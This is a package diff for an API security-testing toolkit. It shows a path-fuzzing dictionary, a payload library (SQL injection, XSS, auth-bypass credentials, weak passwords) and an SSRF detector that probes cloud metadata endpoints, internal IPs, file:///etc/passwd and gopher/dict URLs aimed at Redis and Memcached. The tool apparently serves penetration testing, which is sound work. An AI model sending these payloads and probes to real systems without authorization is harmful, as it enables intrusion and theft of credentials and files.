opencode-api-security-testing 3.0.10 → 3.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +74 -0
- package/SKILL.md +1797 -0
- package/core/advanced_recon.py +788 -0
- package/core/agentic_analyzer.py +445 -0
- package/core/analyzers/api_parser.py +210 -0
- package/core/analyzers/response_analyzer.py +212 -0
- package/core/analyzers/sensitive_finder.py +184 -0
- package/core/api_fuzzer.py +422 -0
- package/core/api_interceptor.py +525 -0
- package/core/api_parser.py +955 -0
- package/core/browser_tester.py +479 -0
- package/core/cloud_storage_tester.py +1330 -0
- package/core/collectors/__init__.py +23 -0
- package/core/collectors/api_path_finder.py +300 -0
- package/core/collectors/browser_collect.py +645 -0
- package/core/collectors/browser_collector.py +411 -0
- package/core/collectors/http_client.py +111 -0
- package/core/collectors/js_collector.py +490 -0
- package/core/collectors/js_parser.py +780 -0
- package/core/collectors/url_collector.py +319 -0
- package/core/context_manager.py +682 -0
- package/core/deep_api_tester_v35.py +844 -0
- package/core/deep_api_tester_v55.py +366 -0
- package/core/dynamic_api_analyzer.py +532 -0
- package/core/http_client.py +179 -0
- package/core/models.py +296 -0
- package/core/orchestrator.py +890 -0
- package/core/prerequisite.py +227 -0
- package/core/reasoning_engine.py +1042 -0
- package/core/response_classifier.py +606 -0
- package/core/runner.py +938 -0
- package/core/scan_engine.py +599 -0
- package/core/skill_executor.py +435 -0
- package/core/skill_executor_v2.py +670 -0
- package/core/skill_executor_v3.py +704 -0
- package/core/smart_analyzer.py +687 -0
- package/core/strategy_pool.py +707 -0
- package/core/testers/auth_tester.py +264 -0
- package/core/testers/idor_tester.py +200 -0
- package/core/testers/sqli_tester.py +211 -0
- package/core/testing_loop.py +655 -0
- package/core/utils/base_path_dict.py +255 -0
- package/core/utils/payload_lib.py +167 -0
- package/core/utils/ssrf_detector.py +220 -0
- package/core/verifiers/vuln_verifier.py +536 -0
- package/package.json +1 -1
- package/references/README.md +72 -0
- package/references/asset-discovery.md +119 -0
- package/references/fuzzing-patterns.md +129 -0
- package/references/graphql-guidance.md +108 -0
- package/references/intake.md +84 -0
- package/references/pua-agent.md +192 -0
- package/references/report-template.md +156 -0
- package/references/rest-guidance.md +76 -0
- package/references/severity-model.md +76 -0
- package/references/test-matrix.md +86 -0
- package/references/validation.md +78 -0
- package/references/vulnerabilities/01-sqli-tests.md +1128 -0
- package/references/vulnerabilities/02-user-enum-tests.md +423 -0
- package/references/vulnerabilities/03-jwt-tests.md +499 -0
- package/references/vulnerabilities/04-idor-tests.md +362 -0
- package/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
- package/references/vulnerabilities/06-biz-logic-tests.md +501 -0
- package/references/vulnerabilities/07-security-config-tests.md +511 -0
- package/references/vulnerabilities/08-brute-force-tests.md +457 -0
- package/references/vulnerabilities/09-vulnerability-chains.md +465 -0
- package/references/vulnerabilities/10-auth-tests.md +537 -0
- package/references/vulnerabilities/11-graphql-tests.md +355 -0
- package/references/vulnerabilities/12-ssrf-tests.md +396 -0
- package/references/vulnerabilities/README.md +148 -0
- package/references/workflows.md +192 -0
|
@@ -0,0 +1,255 @@
|
|
|
1
|
+
"""
|
|
2
|
+
API Base Path 字典 - 常见API前缀/父路径
|
|
3
|
+
当无法从JS中获取baseURL时使用此字典进行fuzzing
|
|
4
|
+
"""
|
|
5
|
+
|
|
6
|
+
# 常见API前缀/父路径(按优先级排序)
|
|
7
|
+
COMMON_API_PREFIXES = [
|
|
8
|
+
# 标准REST API
|
|
9
|
+
"/api",
|
|
10
|
+
"/api/v1",
|
|
11
|
+
"/api/v2",
|
|
12
|
+
"/api/v3",
|
|
13
|
+
"/api/rest",
|
|
14
|
+
|
|
15
|
+
# 常见变体
|
|
16
|
+
"/webapi",
|
|
17
|
+
"/openapi",
|
|
18
|
+
"/rest",
|
|
19
|
+
"/rest/api",
|
|
20
|
+
"/api/rest",
|
|
21
|
+
|
|
22
|
+
# 管理类
|
|
23
|
+
"/admin",
|
|
24
|
+
"/manager",
|
|
25
|
+
"/backend",
|
|
26
|
+
"/server",
|
|
27
|
+
"/service",
|
|
28
|
+
|
|
29
|
+
# 认证类
|
|
30
|
+
"/auth",
|
|
31
|
+
"/oauth",
|
|
32
|
+
"/oauth2",
|
|
33
|
+
"/public",
|
|
34
|
+
|
|
35
|
+
# 业务类
|
|
36
|
+
"/user",
|
|
37
|
+
"/users",
|
|
38
|
+
"/customer",
|
|
39
|
+
"/customers",
|
|
40
|
+
"/order",
|
|
41
|
+
"/orders",
|
|
42
|
+
"/product",
|
|
43
|
+
"/products",
|
|
44
|
+
]
|
|
45
|
+
|
|
46
|
+
# 常见后端技术栈默认端口对应
|
|
47
|
+
TECH_STACK_PORTS = {
|
|
48
|
+
"java": [8080, 8443, 8000, 9000],
|
|
49
|
+
"python": [5000, 8000, 8001],
|
|
50
|
+
"nodejs": [3000, 3001, 8080],
|
|
51
|
+
"php": [80, 8080, 443],
|
|
52
|
+
"go": [8080, 8000, 9090],
|
|
53
|
+
"asp.net": [80, 443, 8080],
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
# 常见API路径模式(用于识别已发现的API的父路径)
|
|
57
|
+
API_PATH_PATTERNS = [
|
|
58
|
+
# user相关
|
|
59
|
+
r"/user/([^/]+)", # /user/login, /user/info
|
|
60
|
+
r"/users?/([^/]+)",
|
|
61
|
+
|
|
62
|
+
# auth相关
|
|
63
|
+
r"/auth/([^/]+)",
|
|
64
|
+
r"/oauth/([^/]+)",
|
|
65
|
+
|
|
66
|
+
# admin相关
|
|
67
|
+
r"/admin/([^/]+)",
|
|
68
|
+
r"/manage/([^/]+)",
|
|
69
|
+
|
|
70
|
+
# api相关
|
|
71
|
+
r"/api/([^/]+)",
|
|
72
|
+
r"/v([0-9]+)/([^/]+)",
|
|
73
|
+
]
|
|
74
|
+
|
|
75
|
+
# 完整的base_path fuzzing字典(组合前缀)
|
|
76
|
+
BASE_PATH_FUZZ_PATTERNS = [
|
|
77
|
+
# 直接拼接常见前缀
|
|
78
|
+
"/api/{}",
|
|
79
|
+
"/api/v1/{}",
|
|
80
|
+
"/api/v2/{}",
|
|
81
|
+
"/webapi/{}",
|
|
82
|
+
"/rest/{}",
|
|
83
|
+
"/auth/{}",
|
|
84
|
+
"/admin/{}",
|
|
85
|
+
"/backend/{}",
|
|
86
|
+
|
|
87
|
+
# 带版本的
|
|
88
|
+
"/{}/v1",
|
|
89
|
+
"/{}/v2",
|
|
90
|
+
"/{}/v3",
|
|
91
|
+
|
|
92
|
+
# 带api前缀
|
|
93
|
+
"/api/{}/v1",
|
|
94
|
+
"/api/{}/v2",
|
|
95
|
+
]
|
|
96
|
+
|
|
97
|
+
def get_base_path_candidates(discovered_path):
|
|
98
|
+
"""
|
|
99
|
+
根据已发现的API路径生成可能的base_path候选
|
|
100
|
+
|
|
101
|
+
例如:
|
|
102
|
+
- discovered = "/user/login" -> candidates = ["/user", "/", ""]
|
|
103
|
+
- discovered = "/api/v1/user/info" -> candidates = ["/api/v1", "/api", "/"]
|
|
104
|
+
"""
|
|
105
|
+
candidates = []
|
|
106
|
+
parts = discovered_path.strip("/").split("/")
|
|
107
|
+
|
|
108
|
+
for i in range(1, len(parts)):
|
|
109
|
+
candidate = "/" + "/".join(parts[:i])
|
|
110
|
+
candidates.append(candidate)
|
|
111
|
+
|
|
112
|
+
candidates.append("/") # 根路径
|
|
113
|
+
candidates.append("") # 空路径(相对路径)
|
|
114
|
+
|
|
115
|
+
return list(set(candidates))
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
def generate_fuzz_paths(path, prefixes=None):
|
|
119
|
+
"""
|
|
120
|
+
生成fuzzing用的完整路径列表
|
|
121
|
+
|
|
122
|
+
参数:
|
|
123
|
+
path: 已发现的API路径(如 "user/login")
|
|
124
|
+
prefixes: 自定义前缀列表(可选)
|
|
125
|
+
|
|
126
|
+
返回:
|
|
127
|
+
完整的fuzzing路径列表
|
|
128
|
+
"""
|
|
129
|
+
if prefixes is None:
|
|
130
|
+
prefixes = COMMON_API_PREFIXES
|
|
131
|
+
|
|
132
|
+
fuzz_paths = []
|
|
133
|
+
path_parts = path.strip("/").split("/")
|
|
134
|
+
|
|
135
|
+
# 生成各种组合
|
|
136
|
+
for prefix in prefixes:
|
|
137
|
+
# prefix + 完整path
|
|
138
|
+
fuzz_paths.append(f"{prefix}/{path}")
|
|
139
|
+
|
|
140
|
+
# prefix + 最后一个path
|
|
141
|
+
if path_parts:
|
|
142
|
+
fuzz_paths.append(f"{prefix}/{path_parts[-1]}")
|
|
143
|
+
|
|
144
|
+
# 加上原始path
|
|
145
|
+
fuzz_paths.append("/" + path)
|
|
146
|
+
fuzz_paths.append(path)
|
|
147
|
+
|
|
148
|
+
return list(set(fuzz_paths))
|
|
149
|
+
|
|
150
|
+
|
|
151
|
+
# 测试
|
|
152
|
+
if __name__ == "__main__":
|
|
153
|
+
print("=== Base Path Dictionary ===")
|
|
154
|
+
print(f"Common prefixes: {len(COMMON_API_PREFIXES)}")
|
|
155
|
+
print(f"Tech stack ports: {len(TECH_STACK_PORTS)}")
|
|
156
|
+
|
|
157
|
+
print("\n=== Candidates for /api/v1/user/login ===")
|
|
158
|
+
candidates = get_base_path_candidates("/api/v1/user/login")
|
|
159
|
+
for c in candidates:
|
|
160
|
+
print(f" {c}")
|
|
161
|
+
|
|
162
|
+
print("\n=== Fuzz paths for 'user/login' ===")
|
|
163
|
+
fuzz_paths = generate_fuzz_paths("user/login")
|
|
164
|
+
for p in fuzz_paths[:10]:
|
|
165
|
+
print(f" {p}")
|
|
166
|
+
|
|
167
|
+
|
|
168
|
+
def get_base_path_multi_dimensional(target_url, js_content=None, headers=None):
|
|
169
|
+
"""
|
|
170
|
+
【新增】多维度获取base_path
|
|
171
|
+
|
|
172
|
+
维度1: 从JS配置中获取baseURL
|
|
173
|
+
维度2: 从响应头分析nginx/后端技术
|
|
174
|
+
维度3: 从已发现API路径反推
|
|
175
|
+
维度4: 探测常见后端端口
|
|
176
|
+
维度5: 分析URL模式推断
|
|
177
|
+
|
|
178
|
+
输入:
|
|
179
|
+
target_url: 目标URL
|
|
180
|
+
js_content: JS内容(可选)
|
|
181
|
+
headers: 响应头(可选)
|
|
182
|
+
|
|
183
|
+
输出:
|
|
184
|
+
{
|
|
185
|
+
base_path: string - 发现的base_path,
|
|
186
|
+
confidence: float - 置信度,
|
|
187
|
+
source: string - 来源,
|
|
188
|
+
candidates: [] - 候选路径
|
|
189
|
+
}
|
|
190
|
+
"""
|
|
191
|
+
import requests
|
|
192
|
+
requests.packages.urllib3.disable_warnings()
|
|
193
|
+
|
|
194
|
+
result = {
|
|
195
|
+
'base_path': None,
|
|
196
|
+
'confidence': 0.0,
|
|
197
|
+
'source': None,
|
|
198
|
+
'candidates': []
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
# 维度1: 从JS配置获取
|
|
202
|
+
if js_content:
|
|
203
|
+
import re
|
|
204
|
+
baseurls = re.findall(r'baseURL\s*:\s*["\']([^"\']+)["\']', js_content)
|
|
205
|
+
if baseurls and baseurls[0]:
|
|
206
|
+
result['base_path'] = baseurls[0]
|
|
207
|
+
result['confidence'] = 1.0
|
|
208
|
+
result['source'] = 'js_config'
|
|
209
|
+
return result
|
|
210
|
+
|
|
211
|
+
# 维度2: 从响应头分析
|
|
212
|
+
try:
|
|
213
|
+
resp = requests.head(target_url, timeout=5, verify=False)
|
|
214
|
+
server = resp.headers.get('Server', '')
|
|
215
|
+
powered_by = resp.headers.get('X-Powered-By', '')
|
|
216
|
+
|
|
217
|
+
# nginx特征
|
|
218
|
+
if 'nginx' in server.lower():
|
|
219
|
+
result['candidates'].append('')
|
|
220
|
+
result['candidates'].append('/api')
|
|
221
|
+
if 'nginx' in server.lower():
|
|
222
|
+
result['confidence'] = 0.6
|
|
223
|
+
result['source'] = 'nginx_proxy'
|
|
224
|
+
|
|
225
|
+
# PHPStudy
|
|
226
|
+
if 'PHP' in powered_by:
|
|
227
|
+
result['candidates'].append('')
|
|
228
|
+
result['candidates'].append('/api')
|
|
229
|
+
|
|
230
|
+
except:
|
|
231
|
+
pass
|
|
232
|
+
|
|
233
|
+
# 维度3: 从URL路径推断
|
|
234
|
+
parsed = requests.packages.urllib3.util.urlparse(target_url)
|
|
235
|
+
path_parts = parsed.path.strip('/').split('/')
|
|
236
|
+
|
|
237
|
+
# 如果URL包含登录页路径
|
|
238
|
+
if 'login' in parsed.path.lower():
|
|
239
|
+
# 尝试获取根路径
|
|
240
|
+
candidates = [
|
|
241
|
+
'', # 相对路径
|
|
242
|
+
'/api',
|
|
243
|
+
'/auth',
|
|
244
|
+
'/user',
|
|
245
|
+
'/' + path_parts[0] if path_parts else '',
|
|
246
|
+
]
|
|
247
|
+
result['candidates'].extend([c for c in candidates if c])
|
|
248
|
+
result['confidence'] = 0.5
|
|
249
|
+
result['source'] = 'url_inference'
|
|
250
|
+
|
|
251
|
+
# 维度4: 返回最可能的候选
|
|
252
|
+
if result['candidates']:
|
|
253
|
+
result['base_path'] = result['candidates'][0]
|
|
254
|
+
|
|
255
|
+
return result
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Payload库 - 管理测试Payload
|
|
3
|
+
输入: {type, count}
|
|
4
|
+
输出: {payloads, descriptions, risk_levels}
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
# SQL注入Payload
|
|
8
|
+
SQLI_PAYLOADS = [
|
|
9
|
+
# 基于错误的注入
|
|
10
|
+
"' OR '1'='1",
|
|
11
|
+
"' OR '1'='1' --",
|
|
12
|
+
"' OR '1'='1' #",
|
|
13
|
+
"admin'--",
|
|
14
|
+
"admin' OR '1'='1",
|
|
15
|
+
|
|
16
|
+
# UNION注入
|
|
17
|
+
"' UNION SELECT NULL--",
|
|
18
|
+
"' UNION SELECT NULL,NULL--",
|
|
19
|
+
"' UNION SELECT 1,2,3--",
|
|
20
|
+
"1' UNION SELECT NULL--",
|
|
21
|
+
|
|
22
|
+
# 布尔注入
|
|
23
|
+
"1' AND '1'='1",
|
|
24
|
+
"1' AND '1'='2",
|
|
25
|
+
"1' OR '1'='1",
|
|
26
|
+
|
|
27
|
+
# 时间盲注
|
|
28
|
+
"1' AND SLEEP(5)--",
|
|
29
|
+
"1'; WAITFOR DELAY '00:00:05'--",
|
|
30
|
+
|
|
31
|
+
# 二次注入
|
|
32
|
+
"test'--",
|
|
33
|
+
]
|
|
34
|
+
|
|
35
|
+
# XSS Payload
|
|
36
|
+
XSS_PAYLOADS = [
|
|
37
|
+
"<script>alert(1)</script>",
|
|
38
|
+
"<img src=x onerror=alert(1)>",
|
|
39
|
+
"'><script>alert(String.fromCharCode(88,83,83))</script>",
|
|
40
|
+
"<svg/onload=alert(1)>",
|
|
41
|
+
"javascript:alert(1)",
|
|
42
|
+
"<iframe src=javascript:alert(1)>",
|
|
43
|
+
"<body onload=alert(1)>",
|
|
44
|
+
"<input onfocus=alert(1) autofocus>",
|
|
45
|
+
]
|
|
46
|
+
|
|
47
|
+
# IDOR测试ID
|
|
48
|
+
IDOR_TEST_IDS = [
|
|
49
|
+
1, 2, 3, 4, 5, 10, 100, 999, 9999,
|
|
50
|
+
"admin", "test", "user",
|
|
51
|
+
"a" * 32,
|
|
52
|
+
]
|
|
53
|
+
|
|
54
|
+
# JWT测试
|
|
55
|
+
JWT_PAYLOADS = [
|
|
56
|
+
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c",
|
|
57
|
+
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTM1OTk2MjU2LCJleHAiOjE5MTc1NTYyNTYsIm5iZiI6MTUzNTk5NjI1NiwianRpIjoiIiwic3ViIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiJ9",
|
|
58
|
+
]
|
|
59
|
+
|
|
60
|
+
# 认证绕过Payload
|
|
61
|
+
AUTH_BYPASS_PAYLOADS = [
|
|
62
|
+
{"username": "admin", "password": "admin"},
|
|
63
|
+
{"username": "admin", "password": "123456"},
|
|
64
|
+
{"username": "admin", "password": "admin123"},
|
|
65
|
+
{"username": "test", "password": "test"},
|
|
66
|
+
{"username": "' OR '1'='1", "password": "any"},
|
|
67
|
+
{"username": "admin'--", "password": "any"},
|
|
68
|
+
{"username": "1' OR '1'='1", "password": "1"},
|
|
69
|
+
]
|
|
70
|
+
|
|
71
|
+
# 弱密码
|
|
72
|
+
WEAK_PASSWORDS = [
|
|
73
|
+
"123456", "password", "admin", "admin123",
|
|
74
|
+
"123123", "000000", "111111", "12345678",
|
|
75
|
+
"qwerty", "abc123", "1234", "12345"
|
|
76
|
+
]
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
def get_payloads(config):
|
|
80
|
+
"""
|
|
81
|
+
获取Payload库
|
|
82
|
+
|
|
83
|
+
输入:
|
|
84
|
+
type: "sqli" | "xss" | "idor" | "jwt" | "auth_bypass"
|
|
85
|
+
count?: number - 返回数量
|
|
86
|
+
|
|
87
|
+
输出:
|
|
88
|
+
payloads: string[]
|
|
89
|
+
descriptions: string[]
|
|
90
|
+
risk_levels: string[]
|
|
91
|
+
"""
|
|
92
|
+
payload_type = config.get('type', 'sqli')
|
|
93
|
+
count = config.get('count', 10)
|
|
94
|
+
|
|
95
|
+
if payload_type == 'sqli':
|
|
96
|
+
payloads = SQLI_PAYLOADS[:count]
|
|
97
|
+
descriptions = [
|
|
98
|
+
"通用布尔注入",
|
|
99
|
+
"注释绕过",
|
|
100
|
+
"OR注入",
|
|
101
|
+
"管理员绕过",
|
|
102
|
+
"UNION注入",
|
|
103
|
+
] * (count // 5 + 1)
|
|
104
|
+
risk_levels = ['high'] * count
|
|
105
|
+
|
|
106
|
+
elif payload_type == 'xss':
|
|
107
|
+
payloads = XSS_PAYLOADS[:count]
|
|
108
|
+
descriptions = [
|
|
109
|
+
"script标签",
|
|
110
|
+
"img标签onerror",
|
|
111
|
+
"script标签绕过",
|
|
112
|
+
"svg标签",
|
|
113
|
+
"javascript伪协议",
|
|
114
|
+
] * (count // 5 + 1)
|
|
115
|
+
risk_levels = ['high'] * count
|
|
116
|
+
|
|
117
|
+
elif payload_type == 'idor':
|
|
118
|
+
payloads = IDOR_TEST_IDS[:count]
|
|
119
|
+
descriptions = ["数字ID"] * count
|
|
120
|
+
risk_levels = ['medium'] * count
|
|
121
|
+
|
|
122
|
+
elif payload_type == 'jwt':
|
|
123
|
+
payloads = JWT_PAYLOADS[:count]
|
|
124
|
+
descriptions = ["JWT测试token"] * count
|
|
125
|
+
risk_levels = ['high'] * count
|
|
126
|
+
|
|
127
|
+
elif payload_type == 'auth_bypass':
|
|
128
|
+
payloads = AUTH_BYPASS_PAYLOADS[:count]
|
|
129
|
+
descriptions = ["弱口令", "SQL注入绕过"] * (count // 2 + 1)
|
|
130
|
+
risk_levels = ['high'] * count
|
|
131
|
+
|
|
132
|
+
else:
|
|
133
|
+
payloads = []
|
|
134
|
+
descriptions = []
|
|
135
|
+
risk_levels = []
|
|
136
|
+
|
|
137
|
+
return {
|
|
138
|
+
'payloads': payloads[:count],
|
|
139
|
+
'descriptions': descriptions[:count],
|
|
140
|
+
'risk_levels': risk_levels[:count]
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
def get_sqli_payloads():
|
|
145
|
+
"""获取SQL注入Payload"""
|
|
146
|
+
return SQLI_PAYLOADS
|
|
147
|
+
|
|
148
|
+
|
|
149
|
+
def get_xss_payloads():
|
|
150
|
+
"""获取XSS Payload"""
|
|
151
|
+
return XSS_PAYLOADS
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
def get_idor_test_ids():
|
|
155
|
+
"""获取IDOR测试ID"""
|
|
156
|
+
return IDOR_TEST_IDS
|
|
157
|
+
|
|
158
|
+
|
|
159
|
+
def get_weak_passwords():
|
|
160
|
+
"""获取弱密码列表"""
|
|
161
|
+
return WEAK_PASSWORDS
|
|
162
|
+
|
|
163
|
+
|
|
164
|
+
if __name__ == '__main__':
|
|
165
|
+
# 测试
|
|
166
|
+
result = get_payloads({'type': 'sqli', 'count': 5})
|
|
167
|
+
print(f"Payloads: {result['payloads']}")
|
|
@@ -0,0 +1,220 @@
|
|
|
1
|
+
"""
|
|
2
|
+
SSRF漏洞检测模块
|
|
3
|
+
|
|
4
|
+
检测API中的SSRF(服务器端请求伪造)漏洞
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
import requests
|
|
8
|
+
import re
|
|
9
|
+
|
|
10
|
+
requests.packages.urllib3.disable_warnings()
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def detect_ssrf(target_url, api_path, param_name='url', method='GET'):
|
|
14
|
+
"""
|
|
15
|
+
检测SSRF漏洞
|
|
16
|
+
|
|
17
|
+
输入:
|
|
18
|
+
target_url: 目标URL(如 http://example.com)
|
|
19
|
+
api_path: API路径(如 /hszh/WxApi/getTQUserInfo)
|
|
20
|
+
param_name: 可能存在SSRF的参数名
|
|
21
|
+
method: 请求方法(GET/POST)
|
|
22
|
+
|
|
23
|
+
输出:
|
|
24
|
+
{
|
|
25
|
+
vulnerable: boolean,
|
|
26
|
+
findings: [],
|
|
27
|
+
confidence: float
|
|
28
|
+
}
|
|
29
|
+
"""
|
|
30
|
+
result = {
|
|
31
|
+
'vulnerable': False,
|
|
32
|
+
'findings': [],
|
|
33
|
+
'confidence': 0.0
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
full_url = target_url.rstrip('/') + api_path
|
|
37
|
+
|
|
38
|
+
# SSRF测试payloads
|
|
39
|
+
ssrf_payloads = [
|
|
40
|
+
# 本地回环
|
|
41
|
+
('http://127.0.0.1', 'Localhost'),
|
|
42
|
+
('http://127.0.0.1:8080', 'Localhost:8080'),
|
|
43
|
+
('http://localhost', 'localhost'),
|
|
44
|
+
('http://0.0.0.0', '0.0.0.0'),
|
|
45
|
+
|
|
46
|
+
# 云元数据
|
|
47
|
+
('http://169.254.169.254/latest/meta-data/', 'AWS Metadata'),
|
|
48
|
+
('http://metadata.google.internal/', 'GCP Metadata'),
|
|
49
|
+
|
|
50
|
+
# 内网探测
|
|
51
|
+
('http://192.168.1.1', 'Private IP'),
|
|
52
|
+
('http://10.0.0.1', '10.x Private'),
|
|
53
|
+
('http://172.16.0.1', '172.16.x Private'),
|
|
54
|
+
|
|
55
|
+
# 协议变种
|
|
56
|
+
('file:///etc/passwd', 'File Protocol'),
|
|
57
|
+
('dict://127.0.0.1:11211/stats', 'Memcached'),
|
|
58
|
+
('gopher://127.0.0.1:6379/_INFO', 'Redis'),
|
|
59
|
+
]
|
|
60
|
+
|
|
61
|
+
for payload, description in ssrf_payloads:
|
|
62
|
+
try:
|
|
63
|
+
if method == 'POST':
|
|
64
|
+
r = requests.post(full_url, data={param_name: payload}, verify=False, timeout=5)
|
|
65
|
+
else:
|
|
66
|
+
r = requests.get(full_url, params={param_name: payload}, verify=False, timeout=5)
|
|
67
|
+
|
|
68
|
+
# 检查响应判断是否成功探测
|
|
69
|
+
findings = analyze_ssrf_response(r, payload, description)
|
|
70
|
+
result['findings'].extend(findings)
|
|
71
|
+
|
|
72
|
+
except requests.exceptions.Timeout:
|
|
73
|
+
result['findings'].append({
|
|
74
|
+
'payload': payload,
|
|
75
|
+
'description': description,
|
|
76
|
+
'type': 'timeout',
|
|
77
|
+
'info': '请求超时,可能存在防火墙'
|
|
78
|
+
})
|
|
79
|
+
except Exception as e:
|
|
80
|
+
result['findings'].append({
|
|
81
|
+
'payload': payload,
|
|
82
|
+
'description': description,
|
|
83
|
+
'type': 'error',
|
|
84
|
+
'info': str(e)[:50]
|
|
85
|
+
})
|
|
86
|
+
|
|
87
|
+
# 判断是否有SSRF
|
|
88
|
+
if result['findings']:
|
|
89
|
+
success_findings = [f for f in result['findings'] if f['type'] == 'ssrf_found']
|
|
90
|
+
if success_findings:
|
|
91
|
+
result['vulnerable'] = True
|
|
92
|
+
result['confidence'] = min(1.0, len(success_findings) * 0.3 + 0.4)
|
|
93
|
+
|
|
94
|
+
return result
|
|
95
|
+
|
|
96
|
+
|
|
97
|
+
def analyze_ssrf_response(response, payload, description):
|
|
98
|
+
"""
|
|
99
|
+
分析响应判断是否为SSRF
|
|
100
|
+
|
|
101
|
+
返回:
|
|
102
|
+
list - 发现的问题
|
|
103
|
+
"""
|
|
104
|
+
findings = []
|
|
105
|
+
|
|
106
|
+
# 检查是否有请求发送(响应时间异常)
|
|
107
|
+
elapsed = response.elapsed.total_seconds()
|
|
108
|
+
if elapsed > 3 and 'localhost' in payload.lower():
|
|
109
|
+
findings.append({
|
|
110
|
+
'payload': payload,
|
|
111
|
+
'description': description,
|
|
112
|
+
'type': 'slow_response',
|
|
113
|
+
'info': f'响应时间 {elapsed:.1f}秒,可能连接到内部服务'
|
|
114
|
+
})
|
|
115
|
+
|
|
116
|
+
# 检查响应内容
|
|
117
|
+
response_text = response.text.lower()
|
|
118
|
+
|
|
119
|
+
# 检测内网服务响应特征
|
|
120
|
+
ssrf_indicators = {
|
|
121
|
+
'aws_metadata': ['ami-id', 'instance-id', 'local-hostname', 'local-ipv4'],
|
|
122
|
+
'redis': ['redis_version', 'connected_clients', 'role:'],
|
|
123
|
+
'memcached': ['stats', 'version', 'pid'],
|
|
124
|
+
'http_banner': ['server:', 'apache', 'nginx', 'microsoft', 'tomcat'],
|
|
125
|
+
'internal_error': ['connection refused', 'connection timeout', 'no route to host'],
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
for indicator_type, keywords in ssrf_indicators.items():
|
|
129
|
+
for keyword in keywords:
|
|
130
|
+
if keyword in response_text:
|
|
131
|
+
findings.append({
|
|
132
|
+
'payload': payload,
|
|
133
|
+
'description': description,
|
|
134
|
+
'type': 'ssrf_found',
|
|
135
|
+
'info': f'发现{indicator_type}特征: {keyword}',
|
|
136
|
+
'severity': 'high'
|
|
137
|
+
})
|
|
138
|
+
break
|
|
139
|
+
|
|
140
|
+
# 检查是否是200状态码但响应异常(可能代理了请求)
|
|
141
|
+
if response.status_code == 200:
|
|
142
|
+
if 'html' not in response.headers.get('content-type', '').lower():
|
|
143
|
+
if len(response.text) < 100 and 'error' not in response_text:
|
|
144
|
+
findings.append({
|
|
145
|
+
'payload': payload,
|
|
146
|
+
'description': description,
|
|
147
|
+
'type': 'ssrf_suspect',
|
|
148
|
+
'info': f'小响应({len(response.text)}字节),可能是代理响应',
|
|
149
|
+
'severity': 'medium'
|
|
150
|
+
})
|
|
151
|
+
|
|
152
|
+
return findings
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
def check_ssrf_params(js_content):
|
|
156
|
+
"""
|
|
157
|
+
从JS内容中检测可能存在SSRF的参数
|
|
158
|
+
|
|
159
|
+
输入:
|
|
160
|
+
js_content: JS文件内容
|
|
161
|
+
|
|
162
|
+
输出:
|
|
163
|
+
ssrf_params: [{
|
|
164
|
+
param: string,
|
|
165
|
+
context: string,
|
|
166
|
+
api_path: string
|
|
167
|
+
}]
|
|
168
|
+
"""
|
|
169
|
+
import re
|
|
170
|
+
|
|
171
|
+
ssrf_params = []
|
|
172
|
+
|
|
173
|
+
# 常见的SSRF敏感参数
|
|
174
|
+
ssrf_param_names = [
|
|
175
|
+
'url', 'uri', 'path', 'site', 'html', 'val', 'validate',
|
|
176
|
+
'domain', 'callback', 'page', 'feed', 'host', 'port', 'to',
|
|
177
|
+
'out', 'view', 'dir', 'ip', 'name', 'tqToken', 'userToken',
|
|
178
|
+
'file', 'reference', 'redirect', 'next', 'data', 'q', 'urlEncoded',
|
|
179
|
+
'xml', 'xsl', 'template', 'php_path', 'style', 'doc', 'img'
|
|
180
|
+
]
|
|
181
|
+
|
|
182
|
+
# 查找这些参数的使用
|
|
183
|
+
for param in ssrf_param_names:
|
|
184
|
+
# 查找param作为key的使用
|
|
185
|
+
pattern = rf'["\']({param})["\']\s*:\s*["\']([^"\']+)["\']'
|
|
186
|
+
matches = re.findall(pattern, js_content, re.I)
|
|
187
|
+
|
|
188
|
+
for m in matches:
|
|
189
|
+
param_name, param_value = m
|
|
190
|
+
if any(x in param_value.lower() for x in ['http', 'file://', 'ftp']):
|
|
191
|
+
ssrf_params.append({
|
|
192
|
+
'param': param_name,
|
|
193
|
+
'value': param_value,
|
|
194
|
+
'context': 'url_value_found',
|
|
195
|
+
'risk': 'high'
|
|
196
|
+
})
|
|
197
|
+
|
|
198
|
+
# 查找http请求模式
|
|
199
|
+
http_patterns = [
|
|
200
|
+
r'(?:url|uri|path)\s*[:=]\s*[\"\'](https?://[^\s"\']+)[\"\']',
|
|
201
|
+
r'(?:url|uri|path)\s*:\s*[\w.]+\s*\(\s*[\"\'](https?://[^\s"\']+)[\"\']',
|
|
202
|
+
]
|
|
203
|
+
|
|
204
|
+
for pattern in http_patterns:
|
|
205
|
+
matches = re.findall(pattern, js_content, re.I)
|
|
206
|
+
for m in matches:
|
|
207
|
+
ssrf_params.append({
|
|
208
|
+
'param': 'url_in_code',
|
|
209
|
+
'value': m,
|
|
210
|
+
'context': 'hardcoded_url',
|
|
211
|
+
'risk': 'low'
|
|
212
|
+
})
|
|
213
|
+
|
|
214
|
+
return ssrf_params
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
if __name__ == '__main__':
|
|
218
|
+
# 测试
|
|
219
|
+
